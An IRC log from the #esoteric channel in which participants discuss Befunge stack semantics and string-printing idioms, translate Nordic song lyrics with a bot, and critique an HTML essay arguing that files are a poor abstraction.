"deewiant" is shorter so I use that. < 1267562243 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> (3//0)*(1//(3//0)) < 1267562243 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 % 1 < 1267562244 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yay!! < 1267562247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, heh < 1267562252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> (3//0)*(2//(3//0)) < 1267562252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 % 1 < 1267562253 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nay!! < 1267562264 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: fixem < 1267562415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Meh < 1267562625 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo__: ping < 1267562754 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, beautiful. (http://pastie.org/850514) < 1267562792 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why 00 at the start? Seems pointless < 1267562801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to push zeros on an empty stack < 1267562811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :after all popping from empty stack yields zero < 1267562856 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: does cfunge optimize away pushing zero onto an empty stack? :) < 1267562865 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's with the infinite loop at the bottom < 1267562879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, that would take too long checking for! < 1267562882 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Probably not worth optimizing that < 1267562884 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1267562895 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :BUT THINK OF THE WASTED SPACE etc < 1267562900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, in an optimising JIT it might be worth it < 1267562908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, also, the stack size in y wouldn't work out < 1267562919 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, and I just use ip->stack->top for it < 1267562930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(ip->stack points to TOSS) < 1267562939 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, true. < 1267562942 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ah yes, you can check for that can't you. It means zeros at the bottom of the stack have to be recorded somehow. < 1267562955 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Recorded... with LOVE < 1267562964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, well yes, and that would mean another 8 bytes wasted! < 1267562967 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Mycology tests that \ on an empty stack increases the stack size to 2 < 1267562976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes it does < 1267562985 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which broke my optimisation of \ < 1267562990 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which was peek, push < 1267562991 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And mine :-) < 1267562996 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :instead of pop push push < 1267563039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, but cfunge does stuff like only shrink the bounds of funge space in case anyone looks < 1267563042 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :if (empty) push zeroes else peek push - might be faster < 1267563051 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it's there because the interpreter doesn't seem to have a pause-at-terminate option. < 1267563057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I actually do that :P < 1267563066 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: :-) < 1267563080 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Well yes, it generally assumes command prompt usage < 1267563089 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: You can always use ~ before @ < 1267563100 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that is wrong IMO :P < 1267563110 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because normal usage is from terminal < 1267563113 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Better than an infinite loop IMO < 1267563118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1267563124 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, true. I just drag and drop. I'm lazy. < 1267563137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that seems like more working than just typing < 1267563141 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Whatever floats your boat :-P < 1267563144 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since you have the terminal open anyway all the time < 1267563156 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I doubt he does < 1267563160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh yeah windows < 1267563167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot windows terminal sucks < 1267563181 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Please blow your predictable hot air elsewhere. < 1267563184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, Windows sucks. We get it. < 1267563189 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I didn't say that. < 1267563192 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But it's really not interesting, that it sucks. < 1267563192 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, if you want to get technical, ~ is, itself, and infinite loop. < 1267563197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what I said was that cmd.exe sucks < 1267563206 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"since you have the terminal open anyway all the time" is obviously just prelude to "OH LOL WINDOWS SUX" < 1267563223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and if you disagree with that cmd.exe sucks, please explain why < 1267563227 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: How's that < 1267563242 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I'm so oldschool, I don't use a desktop environment on my Linux platform. /flex < 1267563257 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: command.com is worse < 1267563262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, true < 1267563272 0 :asiekierk!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267563286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh, like the programming teacher at university. He used twm. I was really surprised first time he hooked up his netbook to the projector.... < 1267563306 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's wrong with twm? :-P < 1267563316 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, very funny < 1267563322 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, ~ is an infinite loop that breaks when stdin changes. < 1267563323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ask alise instead < 1267563328 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, what? < 1267563339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, ~ just waits, it doesn't busy loop < 1267563343 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Well, semantically, I suppose you can say that < 1267563365 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's an argument from convenience, of course < 1267563374 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate B skal straks se film med C. < 1267563384 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :B must immediately watch movies with C. < 1267563395 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, if that is Swedish, it is extremely confusing... < 1267563401 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oh? < 1267563404 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, ~ doesn't halt the program (interpreter). It sends it into a loop that breaks when you input a character. < 1267563417 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, execution never halts. < 1267563431 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Hva de skal se, vites ikke enda! < 1267563433 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :What to see, is not known yet! < 1267563437 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Is "skal" Swedish in that kind of meaning? I think not. < 1267563447 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, "B shall/bark straks view movie with C" < 1267563453 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, where "straks" doesn't exist < 1267563478 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :From the second example I am convinced that this is Norwegian < 1267563483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, wait, it isn't shall or bark < 1267563485 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, it is "shell" < 1267563491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, since there is only one l < 1267563492 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yep, in Swedish < 1267563495 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess it's not Swedish, then. < 1267563500 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's Norwegian. < 1267563509 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, probably < 1267563512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or Danish? < 1267563524 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure "hva" is only Norwegian. < 1267563534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : `translate Hva de skal se, vites ikke enda! <-- yeah that looks like Norwegian indeed < 1267563575 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Jatsu tsappari dikkari dallan tittari tillan titstan dullaa, dipidapi dalaa ruppati rupiran kurikan kukka ja kirikan kuu. < 1267563586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I defer to Deewiant on that one < 1267563588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267563594 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's from Ievan polkka < 1267563608 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and what is that? < 1267563617 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's Finnish that doesn't mean anything, I think. < 1267563619 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :A song < 1267563623 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I see < 1267563627 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :http://leekspin.com/ < 1267563642 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :<3 < 1267563643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, ? Missing plugin? < 1267563647 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And yes, it's just onomatopoeic, it doesn't mean anything < 1267563659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: <3 < 1267563674 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Nice subversion :P < 1267563675 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :LOVEFEST < 1267563679 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The leekspin one is a sped-up version of the Loituma one, IIRC < 1267563698 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Might not be sped up, can't remember. < 1267563701 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Is it sped up? < 1267563714 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You want me to check? :-P < 1267563763 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't seem to be sped up. < 1267563765 0 :cmeme!~cmeme@boa.b9.com JOIN :#esoteric < 1267563771 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That one isn't, at least. < 1267563782 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I seem to recall a version that was but maybe I'm thinking of something else < 1267563796 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Nuapurista kuulu se polokan tahti jalakani pohjii kutkutti. < 1267563812 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Ah, I actually think I'm thinking of caramelldansen < 1267563851 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"From the neighbour's sounded the polka's beat the bottoms of my feet were tingling" or something to that effect < 1267563886 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The translation I saw was something like ". . . and set my feet a-tapping, oh!" < 1267563902 0 :MigoMipo!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267563917 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's less direct a translation but equally valid I suppose < 1267563927 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
< 1267564025 0 :cal!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1267564025 0 :cal!unknown@unknown.invalid QUIT :Client Quit < 1267564135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: you should host an .html file for me. In return, I will grant you: ONE (1) KITTEN UNICORN < 1267564155 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Sounds nifty. What .html? < 1267564186 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's called files-suck.html and it is about how files suck. < 1267564197 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I realise that it is itself a file. < 1267564202 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I blame society^Woperating systems. < 1267564228 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :lawl, I'd love to see this :P < 1267564230 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You want this permanently hosted or why're you asking me? < 1267564277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, because I'm not entirely sure who else to ask. There isn't an htmlpaste.org or anything :P < 1267564289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: THEN HOST IT < 1267564300 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There should be an htmlpaste.org. < 1267564304 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Does it lose much in plaintext form, then? :-P < 1267564316 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Beautiful typography :| < 1267564325 0 :augur!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1267564333 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And ITALICS < 1267564371 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'll host it if I get to put a CSS saying * { font-family: monospace } associated with it < 1267564381 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you do that I verily will cry < 1267564403 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :How about font-face: Comic Sans < 1267564415 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That works too I suppose < 1267564415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Google is working on strong AI in the same way that NASA is working on interplanetary travel. Not yet, but...someday. They're working on the smaller problems that need solving, and eventually they'll put it all together." —Norvig < 1267564415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I sure hope they know how to make individual components Friendly. < 1267564420 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: HOST IT < 1267564434 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Host it — in SPACE. < 1267564473 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Can I host it at http://codu.org/stupid-nonsense/files-suck.html < 1267564480 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Host what? < 1267564501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: It's an .html file. < 1267564530 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Host it on Normish. < 1267564557 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But I forgot every single thing about Normish. < 1267564602 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Like its IP address? < 1267564608 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, for one. < 1267564620 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Its IP address can be found somewhere in #rootnomic. < 1267564648 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267564695 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why isn't there Comic Sans Mono? < 1267564698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, combine them < 1267564701 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :X-D < 1267564705 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Best worst idea ever. < 1267564711 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ow < 1267564720 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I ostensibly own normish.org and all, but I can't be bothered trying to figure out who I have it registered with. < 1267564728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, should be a bitmap font of course < 1267564732 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267564746 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :YES. < 1267564776 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, and the official name should he the full old style X font string < 1267564785 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267564787 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :YES. YES YES YES. < 1267564800 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: You are my temporary hero. :P < 1267564809 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, and we should force alise to actually make this font for us < 1267564814 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in return for hosting that thing < 1267564824 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(and that thing should be forced to use this font) < 1267564834 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, it had to be done propertly according to specs < 1267564839 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: I suggest a data URL. < 1267564840 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Because finding a way to host a file is sooooo difficult :P < 1267564841 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Befunge question. What's a good tactic to use when you're trying to print a fixed number of ASCII characters from the stack? < 1267564842 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Fixed. < 1267564846 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Way too big < 1267564857 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Point a CNAME record at a data URL. < 1267564862 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, why fixed? But for 98? k < 1267564867 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267564875 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Befunge-98: push the number of characters minus one, then use "k," (without the quotes) < 1267564882 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, for 93, I would do a 0gnirts instead < 1267564893 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Oh, hey. http://pastehtml.com/ < 1267564895 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: CNAMEs don't point at URLs < 1267564908 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: The main person who needs it may technically already have it. < 1267564911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>_> < 1267564928 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hence the :P < 1267564935 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, 0gnirts? < 1267564946 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, 0"string goes here" < 1267564949 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So, yeah. Pastey? < 1267564949 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: 0-terminated string stored last-to-first < 1267564958 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, well that is 0"gnirts" of course < 1267564962 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I.e. first character on top, so it's easy to print < 1267564965 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, then you can use the common idiom for it < 1267564973 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, yep. Okay. :) < 1267564973 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deerr < 1267564974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267564975 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I know this. < 1267564975 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, ^ < 1267564977 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-P < 1267564982 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :De :P < 1267564986 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and "last spoke" < 1267565002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, anyway: the idiom being >:#,_ < 1267565005 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe you should read what you type < 1267565011 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(mirrored and vertical versions exist) < 1267565017 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, oh, I'm so dumb. I was thinking "Crap, if I use >:#,_ then I'll run into my other data" < 1267565025 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I just push a 0 before...*facedesk* < 1267565026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, no, I read what other people say while I'm typing < 1267565026 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267565047 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Maybe you should glance over your line on occasion < 1267565055 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I have no trouble reading both at once < 1267565070 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Just point one eye at each thing you want to look at. < 1267565071 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well sure, but then you have to disconnect your eyes < 1267565079 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, hah, beat you to it! < 1267565082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :by half a second < 1267565085 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :On the contrary. < 1267565101 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: You lost from my POV < 1267565105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well, lag means we will never know < 1267565114 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :who was truly first < 1267565120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* Ping reply from uorygl: 1.08 second(s) < 1267565139 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I have about a hundred milliseconds of "extra" lag. < 1267565143 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :More like there is no "truly first" < 1267565153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, oh? < 1267565156 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Why Files Suck: http://pastehtml.com/view/5tmr7u1.html < 1267565161 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Have at it, you gallery of peanuts. < 1267565172 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why is it like very narrow < 1267565174 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it looks weird < 1267565177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in my browser < 1267565180 0 :cpressey1!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1267565186 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :30em ~= 10 words a line ~= best typographical reading width. < 1267565190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Look at a book's width sometime. < 1267565194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why not center it in the window < 1267565200 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rather than have it aligned out at the edge < 1267565210 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that way I have to turn my head slightly to read it < 1267565210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Dunno. Didn't feel like it. Would look weird with ragged-right text, anyway. < 1267565222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not comfortable for long sections < 1267565233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why not adjusted margins? < 1267565253 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Browsers are really, really bad at justified text. < 1267565256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is forced to un-maximise browser window and move it so the text is near the middle
< 1267565265 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, the horror. < 1267565266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why don't they just implement the TeX algo? < 1267565271 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because that's hard. < 1267565313 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"A superior way to represent [a collection of unordered photos] would be as an unordered bag." < 1267565317 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :How would that be easier for anyone? < 1267565333 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :My browser size was already 797x358 or thereabouts < 1267565335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, indeed. You know why Hitchcock never made a horror/thriller about unmaximising the browser window? < 1267565342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, because it was too horrible of course < 1267565345 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Just double-checking...if I use a null-terminates string with >:#,_ the 0 will be popped off, right? < 1267565349 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or because they didn't have browsers then :P < 1267565354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well that too < 1267565370 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: No needless arbitrary naming with the disadvantages given; it fundamentally is an unordered bag < 1267565374 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: No, it won't. < 1267565381 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, well, yes but also duplicated before that < 1267565383 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Append a $ for that < 1267565386 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so there will be one zero at the end < 1267565391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Anyway, I think I come back to that later. Maybe. < 1267565397 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, the zero *will* be popped off, just not the last zero < 1267565401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since it was duplicated < 1267565412 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: "the" zero that was there originally is not popped off < 1267565416 0 :cpressey!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267565427 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :alise: so the lack of any way to refer to a specific file using a string makes things easier for the user? < 1267565428 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, oh I see. < 1267565430 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, depends on how : is implemented < 1267565431 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267565445 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Semantics, not implementation details, please. < 1267565454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Meaningless. My proposed system has no "files". < 1267565466 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :alise: so the lack of any way to refer to a specific photo using a string makes things easier for the user? < 1267565466 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway read the rest before making a judgement based on the incomplete impression of the proposed system you have < 1267565474 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sure. < 1267565476 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: I never suggested there was such a lack. < 1267565479 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, but Deewiant's answer is actually more useful than mine. Mine is just trying to answer to something else by 